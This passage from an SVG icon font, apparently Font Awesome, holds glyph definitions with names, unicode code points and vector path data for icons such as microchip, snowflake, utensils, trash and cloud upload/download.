d="M512 400v-288c0 -26.5 -21.5 -48 -48 -48h-48v208c0 44.0996 -35.9004 80 -80 80h-208v48c0 26.5 21.5 48 48 48h288c26.5 0 48 -21.5 48 -48zM384 272v-288c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h288
c26.5 0 48 -21.5 48 -48zM316 244c0 6.59961 -5.40039 12 -12 12h-228c-6.59961 0 -12 -5.40039 -12 -12v-52h252v52z" />
    <glyph glyph-name="microchip" unicode="&#xf2db;" 
d="M416 400v-416c0 -26.5098 -21.4902 -48 -48 -48h-224c-26.5098 0 -48 21.4902 -48 48v416c0 26.5098 21.4902 48 48 48h224c26.5098 0 48 -21.4902 48 -48zM512 342v-12c0 -3.31152 -2.68848 -6 -6 -6h-18v-6c0 -3.31152 -2.68848 -6 -6 -6h-42v48h42
c3.31152 0 6 -2.68848 6 -6v-6h18c3.31152 0 6 -2.68848 6 -6zM512 246v-12c0 -3.31152 -2.68848 -6 -6 -6h-18v-6c0 -3.31152 -2.68848 -6 -6 -6h-42v48h42c3.31152 0 6 -2.68848 6 -6v-6h18c3.31152 0 6 -2.68848 6 -6zM512 150v-12c0 -3.31152 -2.68848 -6 -6 -6h-18v-6
c0 -3.31152 -2.68848 -6 -6 -6h-42v48h42c3.31152 0 6 -2.68848 6 -6v-6h18c3.31152 0 6 -2.68848 6 -6zM512 54v-12c0 -3.31152 -2.68848 -6 -6 -6h-18v-6c0 -3.31152 -2.68848 -6 -6 -6h-42v48h42c3.31152 0 6 -2.68848 6 -6v-6h18c3.31152 0 6 -2.68848 6 -6zM30 72h42
v-48h-42c-3.31152 0 -6 2.68848 -6 6v6h-18c-3.31152 0 -6 2.68848 -6 6v12c0 3.31152 2.68848 6 6 6h18v6c0 3.31152 2.68848 6 6 6zM30 168h42v-48h-42c-3.31152 0 -6 2.68848 -6 6v6h-18c-3.31152 0 -6 2.68848 -6 6v12c0 3.31152 2.68848 6 6 6h18v6
c0 3.31152 2.68848 6 6 6zM30 264h42v-48h-42c-3.31152 0 -6 2.68848 -6 6v6h-18c-3.31152 0 -6 2.68848 -6 6v12c0 3.31152 2.68848 6 6 6h18v6c0 3.31152 2.68848 6 6 6zM30 360h42v-48h-42c-3.31152 0 -6 2.68848 -6 6v6h-18c-3.31152 0 -6 2.68848 -6 6v12
c0 3.31152 2.68848 6 6 6h18v6c0 3.31152 2.68848 6 6 6z" />
    <glyph glyph-name="snowflake" unicode="&#xf2dc;" horiz-adv-x="448" 
d="M440.3 102.8c7.40039 -4.2002 9.90039 -13.7002 5.60059 -21l-15.5 -26.7998c-4.30078 -7.40039 -13.7002 -10 -21.1006 -5.7002l-33.7998 19.5l7 -26c2.2002 -8.2002 -2.7002 -16.7002 -10.9004 -18.8994l-14.8994 -4
c-8.2002 -2.2002 -16.7002 2.69922 -18.9004 10.8994l-19 70.7998l-62.7998 36.2002v-77.5l53.4004 -53.7002c6.19922 -6.19922 6.19922 -16.3994 0 -22.5996l-11.3008 -11.2998c-6.19922 -6.2002 -16.3994 -6.2002 -22.5996 0l-19.7002 19.7002v-40.4004
c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v40.2998l-19.7002 -19.7002c-6.19922 -6.19922 -16.3994 -6.19922 -22.5996 0l-11.2998 11.3008c-6.2998 6.19922 -6.2998 16.3994 0 22.5996l53.7002 53.7002v77.5l-62.8008 -36.2002l-19 -70.7998
c-2.19922 -8.2002 -10.6992 -13.1006 -18.8994 -10.9004l-14.9004 4c-8.2002 2.2002 -13.0996 10.7002 -10.8994 18.9004l7 26l-33.8008 -19.5c-7.39941 -4.2002 -16.7998 -1.7002 -21.0996 5.7002l-15.5 26.7998c-4.2002 7.39941 -1.7002 16.7998 5.7002 21.0996
l33.7998 19.6006l-26 7c-8.2002 2.19922 -13.0996 10.6992 -10.9004 18.8994l4 14.9004c2.2002 8.2002 10.7002 13.0996 18.9004 10.8994l70.7998 -19l63.7998 36.9004l-63.7998 36.9004l-70.7998 -19c-8.2002 -2.2002 -16.7002 2.69922 -18.9004 10.8994l-4 14.9004
c-2.19922 8.2998 2.7002 16.7998 11 19l26 7l-33.7998 19.5c-7.39941 4.2998 -10 13.7002 -5.7002 21.0996l15.5 26.7002c4.30078 7.40039 13.7002 10 21.1006 5.7002l33.7998 -19.5l-7 26c-2.2002 8.2002 2.7002 16.7002 10.9004 18.8994l14.8994 4
c8.2002 2.2002 16.7002 -2.69922 18.9004 -10.8994l19 -70.7998l62.7998 -36.2002v77.5l-53.7002 53.7002c-6.2998 6.19922 -6.2998 16.3994 0 22.5996l11.4004 11.2998c6.2002 6.2002 16.3994 6.2002 22.5996 0l19.7002 -19.7002v40.4004c0 8.7998 7.2002 16 16 16h32
c8.7998 0 16 -7.2002 16 -16v-40.4004l19.7998 19.7002c6.2002 6.2002 16.4004 6.2002 22.6006 0l11.2998 -11.2998c6.2002 -6.2002 6.2002 -16.4004 0 -22.5996l-53.7002 -53.7002v-77.5l62.7998 36.2002l19 70.7998c2.2002 8.2002 10.7002 13.0996 18.9004 10.8994
l14.8994 -4c8.2002 -2.19922 13.1006 -10.6992 10.9004 -18.8994l-7 -26l33.7998 19.5c7.40039 4.2002 16.7998 1.7002 21.1006 -5.7002l15.5 -26.7998c4.19922 -7.40039 1.69922 -16.7998 -5.7002 -21.1006l-33.7998 -19.5l26 -7
c8.19922 -2.19922 13.0996 -10.6992 10.8994 -18.8994l-4 -14.9004c-2.2002 -8.2002 -10.7002 -13.0996 -18.8994 -10.8994l-70.8008 19l-63.7998 -36.9004l63.9004 -37l70.7998 19c8.2002 2.2002 16.7002 -2.7002 18.9004 -10.9004l4 -14.8994
c2.19922 -8.2002 -2.7002 -16.7002 -10.9004 -18.9004l-26 -7z" />
    <glyph glyph-name="utensil-spoon" unicode="&#xf2e5;" 
d="M480.1 416.1c55.1006 -55 34.5 -164.899 -28.5 -227.8c-49.2998 -49.2998 -110 -55.0996 -160.399 -28.7998l-192.4 -214.4c-10.3994 -11.5996 -28.5 -12.0996 -39.5 -1.09961l-51.2998 51.2998c-11.0996 11 -10.5996 29 1 39.5l214.5 192.4
c-26.2998 50.3994 -20.5 111.1 28.7998 160.399c62.9004 63 172.8 83.6006 227.8 28.5z" />
    <glyph glyph-name="utensils" unicode="&#xf2e7;" horiz-adv-x="416" 
d="M207.9 432.8c0.799805 -4.7002 16.0996 -94.5 16.0996 -128.8c0 -52.2998 -27.7998 -89.5996 -68.9004 -104.6l12.9004 -238.101c0.700195 -13.7002 -10.2002 -25.2998 -24 -25.2998h-64c-13.7002 0 -24.7002 11.5 -24 25.2998l12.9004 238.101
c-41.2002 15 -68.9004 52.3994 -68.9004 104.6c0 34.4004 15.2998 124.1 16.0996 128.8c3.2002 20.2998 45.3008 20.6006 47.9004 -1.09961v-141.2c1.2998 -3.40039 15.0996 -3.2002 16 0c1.40039 25.2998 7.90039 139.2 8 141.8c3.2998 20.7998 44.7002 20.7998 47.9004 0
c0.199219 -2.7002 6.59961 -116.5 8 -141.8c0.899414 -3.2002 14.7998 -3.40039 16 0v141.2c2.59961 21.5996 44.7998 21.3994 48 1.09961zM327.1 147.1c-156.5 122.4 -17.5996 300.9 64.9004 300.9c13.2998 0 24 -10.7998 24 -24v-464c0 -13.2998 -10.7002 -24 -24 -24h-56
c-14 0 -25.0996 12 -23.9004 26z" />
    <glyph glyph-name="undo-alt" unicode="&#xf2ea;" 
d="M255.545 440c136.809 0.245117 248.456 -111.193 248.455 -248.002c-0.000976562 -136.965 -111.034 -247.998 -248 -247.998c-63.9258 0 -122.202 24.1865 -166.178 63.9082c-5.11328 4.61816 -5.35449 12.5605 -0.482422 17.4326l39.6621 39.6621
c4.46191 4.46094 11.625 4.71387 16.3682 0.552734c30.6328 -26.8779 69.5029 -41.5557 110.63 -41.5557c93.8164 0 167.236 75.9912 167.994 166.552c0.798828 95.4648 -77.0859 170.24 -169.484 169.442c-42.4287 -0.366211 -82.3662 -16.374 -113.229 -45.2734
l41.75 -41.75c15.1191 -15.1201 4.41113 -40.9707 -16.9717 -40.9707h-134.059c-13.2549 0 -24 10.7451 -24 24v134.059c0 21.3828 25.8506 32.0908 40.9707 16.9707l35.7139 -35.7139c44.4229 42.4512 104.592 68.5654 170.86 68.6846z" />
    <glyph glyph-name="trash-alt" unicode="&#xf2ed;" horiz-adv-x="448" 
d="M32 -16v336h384v-336c0 -26.4961 -21.5039 -48 -48 -48h-288c-26.4961 0 -48 21.5039 -48 48zM304 240v-224c0 -8.83203 7.16797 -16 16 -16s16 7.16797 16 16v224c0 8.83203 -7.16797 16 -16 16s-16 -7.16797 -16 -16zM208 240v-224c0 -8.83203 7.16797 -16 16 -16
s16 7.16797 16 16v224c0 8.83203 -7.16797 16 -16 16s-16 -7.16797 -16 -16zM112 240v-224c0 -8.83203 7.16797 -16 16 -16s16 7.16797 16 16v224c0 8.83203 -7.16797 16 -16 16s-16 -7.16797 -16 -16zM432 416c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-416c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h120l9.40039 18.7002c3.58984 7.3418 13.1357 13.2998 21.3086 13.2998h0.0908203h114.3h0.0175781c8.20215 0 17.8262 -5.95801 21.4824 -13.2998l9.40039 -18.7002
h120z" />
    <glyph glyph-name="sync-alt" unicode="&#xf2f1;" 
d="M370.72 314.72c-31.2617 29.2725 -71.832 45.3184 -114.872 45.2803c-77.458 -0.0683594 -144.328 -53.1777 -162.791 -126.85c-1.34375 -5.36328 -6.12207 -9.15039 -11.6504 -9.15039h-57.3037c-7.49707 0 -13.1934 6.80664 -11.8066 14.1758
c21.6367 114.9 122.518 201.824 243.704 201.824c66.4482 0 126.791 -26.1357 171.315 -68.6846l35.7148 35.7148c15.1191 15.1191 40.9697 4.41113 40.9697 -16.9717v-134.059c0 -13.2549 -10.7451 -24 -24 -24h-134.059c-21.3828 0 -32.0908 25.8506 -16.9717 40.9707z
M32 152h134.059c21.3828 0 32.0908 -25.8506 16.9717 -40.9707l-41.75 -41.75c31.2617 -29.2734 71.835 -45.3193 114.876 -45.2803c77.418 0.0703125 144.314 53.1436 162.787 126.849c1.34375 5.36328 6.12207 9.15039 11.6504 9.15039h57.3047
c7.49805 0 13.1934 -6.80664 11.8066 -14.1758c-21.6377 -114.898 -122.519 -201.822 -243.705 -201.822c-66.4482 0 -126.791 26.1357 -171.315 68.6846l-35.7148 -35.7148c-15.1191 -15.1191 -40.9697 -4.41113 -40.9697 16.9717v134.059c0 13.2549 10.7451 24 24 24z" />
    <glyph glyph-name="stopwatch" unicode="&#xf2f2;" horiz-adv-x="448" 
d="M432 144c0 -114.9 -93.0996 -208 -208 -208s-208 93.0996 -208 208c0 104 76.2998 190.2 176 205.5v34.5h-28c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h120c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-28v-34.5
c37.5 -5.7998 71.7002 -21.5996 99.7002 -44.5996l27.5 27.5c4.7002 4.69922 12.2998 4.69922 17 0l28.2998 -28.3008c4.7002 -4.69922 4.7002 -12.2998 0 -17l-29.4004 -29.3994l-0.599609 -0.600586c21.2002 -32.3994 33.5 -71.2998 33.5 -113.1zM256 108v151.5
c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-151.5c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12z" />
    <glyph glyph-name="sign-out-alt" unicode="&#xf2f5;" 
d="M497 175l-168 -168c-15 -15 -41 -4.5 -41 17v96h-136c-13.2998 0 -24 10.7002 -24 24v96c0 13.2998 10.7002 24 24 24h136v96c0 21.4004 25.9004 32 41 17l168 -168c9.2998 -9.40039 9.2998 -24.5996 0 -34zM192 12c0 -6.59961 -5.40039 -12 -12 -12h-84
c-53 0 -96 43 -96 96v192c0 53 43 96 96 96h84c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-84c-17.7002 0 -32 -14.2998 -32 -32v-192c0 -17.7002 14.2998 -32 32 -32h84c6.59961 0 12 -5.40039 12 -12v-40z" />
    <glyph glyph-name="sign-in-alt" unicode="&#xf2f6;" 
d="M416 0h-84c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h84c17.7002 0 32 14.2998 32 32v192c0 17.7002 -14.2998 32 -32 32h-84c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h84c53 0 96 -43 96 -96v-192c0 -53 -43 -96 -96 -96z
M369 201c9.2998 -9.40039 9.2998 -24.5996 0 -34l-168 -168c-15 -15 -41 -4.5 -41 17v96h-136c-13.2998 0 -24 10.7002 -24 24v96c0 13.2998 10.7002 24 24 24h136v96c0 21.5 26 32 41 17z" />
    <glyph glyph-name="redo-alt" unicode="&#xf2f9;" 
d="M256.455 440c66.2686 -0.119141 126.437 -26.2334 170.859 -68.6846l35.7148 35.7148c15.1201 15.1191 40.9707 4.41113 40.9707 -16.9717v-134.059c0 -13.2549 -10.7451 -24 -24 -24h-134.059c-21.3828 0 -32.0908 25.8506 -16.9717 40.9707l41.75 41.75
c-30.8633 28.8994 -70.8008 44.9072 -113.229 45.2734c-92.3984 0.797852 -170.283 -73.9775 -169.484 -169.442c0.757812 -90.5605 74.1777 -166.552 167.994 -166.552c41.127 0 79.9971 14.6777 110.629 41.5557c4.74316 4.16113 11.9062 3.9082 16.3682 -0.552734
l39.6621 -39.6621c4.87207 -4.87207 4.63086 -12.8145 -0.482422 -17.4326c-43.9746 -39.7217 -102.251 -63.9082 -166.177 -63.9082c-136.966 0 -247.999 111.033 -248 247.998c-0.000976562 136.809 111.646 248.247 248.455 248.002z" />
    <glyph glyph-name="poo" unicode="&#xf2fe;" 
d="M451.4 78.9004c34.2998 -5.5 60.5996 -35 60.5996 -70.9004c0 -39.7998 -32.2002 -72 -72 -72h-368c-39.7998 0 -72 32.2002 -72 72c0 35.9004 26.2998 65.4004 60.5996 70.9004c-17.2998 13.0996 -28.5996 33.6992 -28.5996 57.0996c0 39.7998 32.2002 72 72 72h14.0996
c-13.3994 11.7002 -22.0996 28.7998 -22.0996 48c0 35.2998 28.7002 64 64 64h16c44.2002 0 80 35.7998 80 80c0 17.4004 -5.7002 33.4004 -15.0996 46.5c4.89941 0.799805 9.89941 1.5 15.0996 1.5c53 0 96 -43 96 -96c0 -11.2998 -2.2998 -21.9004 -5.90039 -32h5.90039
c35.2998 0 64 -28.7002 64 -64c0 -19.2002 -8.7002 -36.2998 -22.0996 -48h14.0996c39.7998 0 72 -32.2002 72 -72c0 -23.4004 -11.2998 -44 -28.5996 -57.0996zM192 192c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32z
M351.5 53c2 5.2998 -2 11 -7.7998 11h-175.4c-5.7998 0 -9.7998 -5.7002 -7.7998 -11c10.5 -27.9004 58.5 -53 95.5 -53s85 25.0996 95.5 53zM320 128c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" />
    <glyph glyph-name="images" unicode="&#xf302;" horiz-adv-x="576" 
d="M480 32v-16c0 -26.5098 -21.4902 -48 -48 -48h-384c-26.5098 0 -48 21.4902 -48 48v256c0 26.5098 21.4902 48 48 48h16v-208c0 -44.1123 35.8877 -80 80 -80h336zM576 112c0 -26.5098 -21.4902 -48 -48 -48h-384c-26.5098 0 -48 21.4902 -48 48v256
c0 26.5098 21.4902 48 48 48h384c26.5098 0 48 -21.4902 48 -48v-256zM256 320c0 26.5098 -21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48s48 21.4902 48 48zM160 176v-48h352v112l-87.5137 87.5146c-4.6875 4.68652 -12.2852 4.68652 -16.9717 0
l-135.515 -135.515l-39.5137 39.5146c-4.6875 4.68652 -12.2852 4.68652 -16.9717 0z" />
    <glyph glyph-name="pencil-alt" unicode="&#xf303;" 
d="M497.9 305.9l-46.1006 -46.1006c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-111 111c-4.7002 4.7002 -4.7002 12.2998 0 17l46.1006 46.1006c18.6992 18.6992 49.0996 18.6992 67.8994 0l60.1006 -60.1006c18.7998 -18.7002 18.7998 -49.0996 0 -67.8994zM284.2 348.2
c4.7002 4.7002 12.2998 4.7002 17.0996 0l111 -111c4.7002 -4.7002 4.7002 -12.2998 0 -17l-262.6 -262.601l-121.5 -21.2998c-16.4004 -2.7998 -30.7002 11.4004 -27.7998 27.7998l21.1992 121.5zM124.1 108.1c5.5 -5.5 14.3008 -5.5 19.8008 0l154 154
c5.5 5.5 5.5 14.3008 0 19.8008s-14.3008 5.5 -19.8008 0l-154 -154c-5.5 -5.5 -5.5 -14.3008 0 -19.8008zM88 24v48h-36.2998l-11.2998 -64.5l31.0996 -31.0996l64.5 11.2998v36.2998h-48z" />
    <glyph glyph-name="pen" unicode="&#xf304;" 
d="M290.74 354.76l128.02 -128.02l-277.99 -277.99l-114.14 -12.5996c-15.2803 -1.69043 -28.1895 11.2295 -26.4902 26.5098l12.7002 114.22zM497.94 373.82c18.75 -18.75 18.75 -49.1504 0 -67.9102l-56.5508 -56.5498l-128.02 128.02l56.5498 56.5498
c18.75 18.75 49.1602 18.75 67.9102 0z" />
    <glyph glyph-name="pen-alt" unicode="&#xf305;" 
d="M497.94 373.83c18.75 -18.7598 18.75 -49.1602 0 -67.9102l-56.5508 -56.5498l-128.02 128.02l56.5498 56.5508c18.75 18.75 49.1602 18.75 67.9102 0zM251.14 394.36l84.8506 -84.8506l82.7695 -82.7695l-196.79 -196.79
c-44.8223 -44.8203 -132.335 -86.8428 -195.34 -93.7998c-15.2803 -1.69043 -28.1895 11.2295 -26.4902 26.5098l0.0302734 0.229492c7.00195 62.9189 49.0156 150.315 93.7803 195.08l151.56 151.55l-22.6299 22.6201l-101.82 -101.819
c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-22.6299 22.6299c-6.25 6.24023 -6.25 16.3701 0 22.6201l118.78 118.79c15.6201 15.6201 40.9395 15.6201 56.5596 0z" />
    <glyph glyph-name="long-arrow-alt-down" unicode="&#xf309;" horiz-adv-x="256" 
d="M168 102.059h46.0576c21.3828 0 32.0908 -25.8516 16.9717 -40.9707l-86.0596 -86.0586c-9.37207 -9.37305 -24.5674 -9.37305 -33.9404 0l-86.0596 86.0586c-15.1191 15.1201 -4.41113 40.9707 16.9717 40.9707h46.0586v301.941c0 6.62695 5.37305 12 12 12h56
c6.62695 0 12 -5.37305 12 -12v-301.941z" />
    <glyph glyph-name="long-arrow-alt-left" unicode="&#xf30a;" horiz-adv-x="448" 
d="M134.059 152v-46.0576c0 -21.3828 -25.8516 -32.0908 -40.9707 -16.9717l-86.0586 86.0596c-9.37305 9.37207 -9.37305 24.5674 0 33.9404l86.0586 86.0596c15.1201 15.1191 40.9707 4.41113 40.9707 -16.9717v-46.0586h301.941c6.62695 0 12 -5.37305 12 -12v-56
c0 -6.62695 -5.37305 -12 -12 -12h-301.941z" />
    <glyph glyph-name="long-arrow-alt-right" unicode="&#xf30b;" horiz-adv-x="448" 
d="M313.941 232v46.0576c0 21.3828 25.8516 32.0908 40.9707 16.9717l86.0586 -86.0596c9.37305 -9.37207 9.37305 -24.5674 0 -33.9404l-86.0586 -86.0596c-15.1201 -15.1191 -40.9707 -4.41113 -40.9707 16.9717v46.0586h-301.941c-6.62695 0 -12 5.37305 -12 12v56
c0 6.62695 5.37305 12 12 12h301.941z" />
    <glyph glyph-name="long-arrow-alt-up" unicode="&#xf30c;" horiz-adv-x="256" 
d="M88 281.941h-46.0576c-21.3828 0 -32.0908 25.8516 -16.9717 40.9707l86.0596 86.0586c9.37207 9.37305 24.5674 9.37305 33.9404 0l86.0596 -86.0586c15.1191 -15.1201 4.41113 -40.9707 -16.9717 -40.9707h-46.0586v-301.941c0 -6.62695 -5.37305 -12 -12 -12h-56
c-6.62695 0 -12 5.37305 -12 12v301.941z" />
    <glyph glyph-name="expand-arrows-alt" unicode="&#xf31e;" horiz-adv-x="448" 
d="M448 104v-112v-0.0605469c0 -13.2148 -10.7246 -23.9395 -23.9395 -23.9395h-0.0605469h-112c-21.3896 0 -32.0898 25.9004 -17 41l36.2002 36.2002l-107.2 107.2l-107.23 -107.301l36.2305 -36.0996c15.0898 -15.0996 4.38965 -41 -17 -41h-112h-0.0605469
c-13.2148 0 -23.9395 10.7246 -23.9395 23.9395v0.0605469v112c0 21.4004 25.8896 32.0996 41 17l36.1904 -36.2002l107.27 107.2l-107.28 107.3l-36.1797 -36.2998c-15.0996 -15.0996 -41 -4.40039 -41 17v112v0.0605469c0 13.2148 10.7246 23.9395 23.9395 23.9395
h0.0605469h112c21.3896 0 32.0898 -25.9004 17 -41l-36.2002 -36.2002l107.2 -107.2l107.23 107.301l-36.2305 36.0996c-15.0898 15.0996 -4.38965 41 17 41h112h0.0605469c13.2148 0 23.9395 -10.7246 23.9395 -23.9395v-0.0605469v-112
c0 -21.4004 -25.8896 -32.0996 -41 -17l-36.1904 36.2002l-107.27 -107.2l107.28 -107.3l36.1797 36.2002c15.0996 15.1992 41 4.5 41 -16.9004z" />
    <glyph glyph-name="clipboard" unicode="&#xf328;" horiz-adv-x="384" 
d="M384 336v-352c0 -26.5098 -21.4902 -48 -48 -48h-288c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h80c0 35.29 28.71 64 64 64s64 -28.71 64 -64h80c26.5098 0 48 -21.4902 48 -48zM192 408c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24
s24 10.7451 24 24s-10.7451 24 -24 24zM288 294v20c0 3.31152 -2.68848 6 -6 6h-180c-3.31152 0 -6 -2.68848 -6 -6v-20c0 -3.31152 2.68848 -6 6 -6h180c3.31152 0 6 2.68848 6 6z" />
    <glyph glyph-name="arrows-alt-h" unicode="&#xf337;" 
d="M377.941 278.059c0 21.3828 25.8516 32.0908 40.9707 16.9707l86.0586 -86.0596c9.37305 -9.37305 9.37305 -24.5674 0 -33.9404l-86.0586 -86.0596c-15.1201 -15.1191 -40.9707 -4.41113 -40.9707 16.9717v46.0586h-243.883v-46.0576
c0 -21.3828 -25.8516 -32.0908 -40.9707 -16.9717l-86.0586 86.0596c-9.37305 9.37305 -9.37305 24.5674 0 33.9404l86.0586 86.0596c15.1201 15.1191 40.9707 4.41113 40.9707 -16.9717v-46.0586h243.883v46.0586z" />
    <glyph glyph-name="arrows-alt-v" unicode="&#xf338;" horiz-adv-x="256" 
d="M214.059 70.0586c21.3828 0 32.0908 -25.8516 16.9707 -40.9707l-86.0596 -86.0586c-9.37305 -9.37305 -24.5674 -9.37305 -33.9404 0l-86.0596 86.0586c-15.1191 15.1201 -4.41113 40.9707 16.9717 40.9707h46.0586v243.883h-46.0576
c-21.3828 0 -32.0908 25.8516 -16.9717 40.9707l86.0596 86.0586c9.37305 9.37305 24.5674 9.37305 33.9404 0l86.0596 -86.0586c15.1191 -15.1201 4.41113 -40.9707 -16.9717 -40.9707h-46.0586v-243.883h46.0586z" />
    <glyph glyph-name="arrow-alt-circle-down" unicode="&#xf358;" 
d="M504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM212 308v-116h-70.9004c-10.6992 0 -16.0996 -13 -8.5 -20.5l114.9 -114.3c4.7002 -4.7002 12.2002 -4.7002 16.9004 0l114.899 114.3c7.60059 7.59961 2.2002 20.5 -8.5 20.5
h-70.7998v116c0 6.59961 -5.40039 12 -12 12h-64c-6.59961 0 -12 -5.40039 -12 -12z" />
    <glyph glyph-name="arrow-alt-circle-left" unicode="&#xf359;" 
d="M256 -56c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248s-111 -248 -248 -248zM372 236h-116v70.9004c0 10.6992 -13 16.0996 -20.5 8.5l-114.3 -114.9c-4.7002 -4.7002 -4.7002 -12.2002 0 -16.9004l114.3 -114.899
c7.59961 -7.60059 20.5 -2.2002 20.5 8.5v70.7998h116c6.59961 0 12 5.40039 12 12v64c0 6.59961 -5.40039 12 -12 12z" />
    <glyph glyph-name="arrow-alt-circle-right" unicode="&#xf35a;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM140 148h116v-70.9004c0 -10.6992 13 -16.0996 20.5 -8.5l114.3 114.9c4.7002 4.7002 4.7002 12.2002 0 16.9004l-114.3 115c-7.59961 7.59961 -20.5 2.19922 -20.5 -8.5
v-70.9004h-116c-6.59961 0 -12 -5.40039 -12 -12v-64c0 -6.59961 5.40039 -12 12 -12z" />
    <glyph glyph-name="arrow-alt-circle-up" unicode="&#xf35b;" 
d="M8 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM300 76v116h70.9004c10.6992 0 16.0996 13 8.5 20.5l-114.9 114.3c-4.7002 4.7002 -12.2002 4.7002 -16.9004 0l-115 -114.3c-7.59961 -7.59961 -2.19922 -20.5 8.5 -20.5
h70.9004v-116c0 -6.59961 5.40039 -12 12 -12h64c6.59961 0 12 5.40039 12 12z" />
    <glyph glyph-name="external-link-alt" unicode="&#xf35d;" 
d="M432 128c8.83203 0 16 -7.16797 16 -16v-128c0 -26.4961 -21.5039 -48 -48 -48h-352c-26.4961 0 -48 21.5039 -48 48v352c0 26.4961 21.5039 48 48 48h160c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-144v-320h320v112
c0 8.83203 7.16797 16 16 16h32zM488 448c13.248 0 24 -10.752 24 -24v-128c0 -21.5 -26 -32 -41 -17l-35.7197 35.6797l-243.61 -243.68c-3.88281 -3.89648 -11.499 -7.05859 -17 -7.05859s-13.1172 3.16211 -17 7.05859l-22.6699 22.6299
c-3.89648 3.88281 -7.05859 11.499 -7.05859 17s3.16211 13.1172 7.05859 17l243.73 243.64l-35.7305 35.7305c-15.0498 15.0898 -4.37012 41 17 41h128z" />
    <glyph glyph-name="external-link-square-alt" unicode="&#xf360;" horiz-adv-x="448" 
d="M448 368v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48zM360 352h-111.971c-21.3135 0 -32.0801 -25.8613 -16.9717 -40.9707l31.9844 -31.9873l-195.527 -195.527
c-4.68555 -4.68555 -4.68555 -12.2832 0 -16.9707l31.0293 -31.0293c4.6875 -4.68555 12.2852 -4.68555 16.9707 0l195.526 195.526l31.9883 -31.9912c15.0283 -15.0264 40.9707 -4.47461 40.9707 16.9717v111.979c0 13.2549 -10.7451 24 -24 24z" />
    <glyph glyph-name="exchange-alt" unicode="&#xf362;" 
d="M0 280v16c0 13.2549 10.7451 24 24 24h360v48c0 21.3672 25.8994 32.042 40.9707 16.9707l80 -80c9.37207 -9.37305 9.37207 -24.5684 0 -33.9404l-80 -80c-15.0146 -15.0127 -40.9707 -4.48633 -40.9707 16.9697v48h-360c-13.2549 0 -24 10.7451 -24 24zM488 128
c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24h-360v-48c0 -21.4365 -25.9434 -31.9971 -40.9707 -16.9697l-80 80c-9.37207 9.37207 -9.37207 24.5674 0 33.9404l80 80c15.1084 15.1094 40.9707 4.34375 40.9707 -16.9707v-48h360z" />
    <glyph glyph-name="cloud-download-alt" unicode="&#xf381;" horiz-adv-x="640" 
d="M537.6 221.4c58.4004 -11.8008 102.4 -63.5 102.4 -125.4c0 -70.7002 -57.2998 -128 -128 -128h-368c-79.5 0 -144 64.5 -144 144c0 62.7998 40.2002 116.2 96.2002 135.9c-0.100586 2.69922 -0.200195 5.39941 -0.200195 8.09961c0 88.4004 71.5996 160 160 160
c59.2998 0 111 -32.2002 138.7 -80.2002c15.2002 10.2002 33.5996 16.2002 53.2998 16.2002c53 0 96 -43 96 -96c0 -12.2002 -2.2998 -23.9004 -6.40039 -34.5996zM404.7 132.7c10.0996 10.0996 2.89941 27.2998 -11.2998 27.2998h-65.4004v112c0 8.7998 -7.2002 16 -16 16
h-48c-8.7998 0 -16 -7.2002 -16 -16v-112h-65.4004c-14.1992 0 -21.3994 -17.2002 -11.2998 -27.2998l105.4 -105.4c6.2002 -6.2002 16.3994 -6.2002 22.5996 0z" />
    <glyph glyph-name="cloud-upload-alt" unicode="&#xf382;" horiz-adv-x="640" 
d="M537.6 221.4c58.4004 -11.8008 102.4 -63.5 102.4 -125.4c0 -70.7002 -57.2998 -128 -128 -128h-368c-79.5 0 -144 64.5 -144 144c0 62.7998 40.2002 116.2 96.2002 135.9c-0.100586 2.69922 -0.200195 5.39941 -0.200195 8.09961c0 88.4004 71.5996 160 160 160
c59.2998 0 111 -32.2002 138.7 -80.2002c15.2002 10.2002 33.5996 16.2002 53.2998 16.2002c53 0 96 -43 96 -96c0 -12.2002 -2.2998 -23.9004 -6.40039 -34.5996zM393.4 160c14.1992 0 21.3994 17.2002 11.2998 27.2998l-105.4 105.4
c-6.2002 6.2002 -16.3994 6.2002 -22.5996 0l-105.4 -105.4c-10.0996 -10.0996 -3 -27.2998 11.2998 -27.2998h65.4004v-112c0 -8.7998 7.2002 -16 16 -16h48c8.7998 0 16 7.2002 16 16v112h65.4004z" />
    <glyph glyph-name="gem" unicode="&#xf3a5;" horiz-adv-x="576" 
